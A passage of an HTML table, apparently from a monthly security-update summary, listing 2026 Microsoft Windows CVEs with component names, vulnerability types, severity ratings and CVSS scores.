  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50473"><span>CVE-2026-50473</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50442"><span>CVE-2026-50442</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50389"><span>CVE-2026-50389</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50456"><span>CVE-2026-50456</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57084"><span>CVE-2026-57084</span></a></td>
  <td width="256" class="xl74">Windows File Explorer
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57091"><span>CVE-2026-57091</span></a></td>
  <td width="256" class="xl74">Windows File History
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50405"><span>CVE-2026-50405</span></a></td>
  <td width="256" class="xl74">Windows Filtering
  Platform Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49172"><span>CVE-2026-49172</span></a></td>
  <td width="256" class="xl74">Windows FTP Service
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50387"><span>CVE-2026-50387</span></a></td>
  <td width="256" class="xl74">Windows GDI Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54122"><span>CVE-2026-54122</span></a></td>
  <td width="256" class="xl74">Windows GDI+ Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50483"><span>CVE-2026-50483</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58609"><span>CVE-2026-58609</span></a></td>
  <td width="256" class="xl74">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50391"><span>CVE-2026-50391</span></a></td>
  <td width="256" class="xl74">Windows Group Policy
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50310"><span>CVE-2026-50310</span></a></td>
  <td width="256" class="xl74">Windows Human
  Interface Device Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50485"><span>CVE-2026-50485</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V Denial
  of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54129"><span>CVE-2026-54129</span></a></td>
  <td width="256" class="xl74">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50315"><span>CVE-2026-50315</span></a></td>
  <td width="256" class="xl74">Windows Image
  Acquisition Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58534"><span>CVE-2026-58534</span></a></td>
  <td width="256" class="xl74">Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50490"><span>CVE-2026-50490</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58540"><span>CVE-2026-58540</span></a></td>
  <td width="256" class="xl74">Windows Installer
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50425"><span>CVE-2026-50425</span></a></td>
  <td width="256" class="xl74">Windows Internal
  System User Profile Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50293"><span>CVE-2026-50293</span></a></td>
  <td width="256" class="xl74">Windows Internal Task
  Bar Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
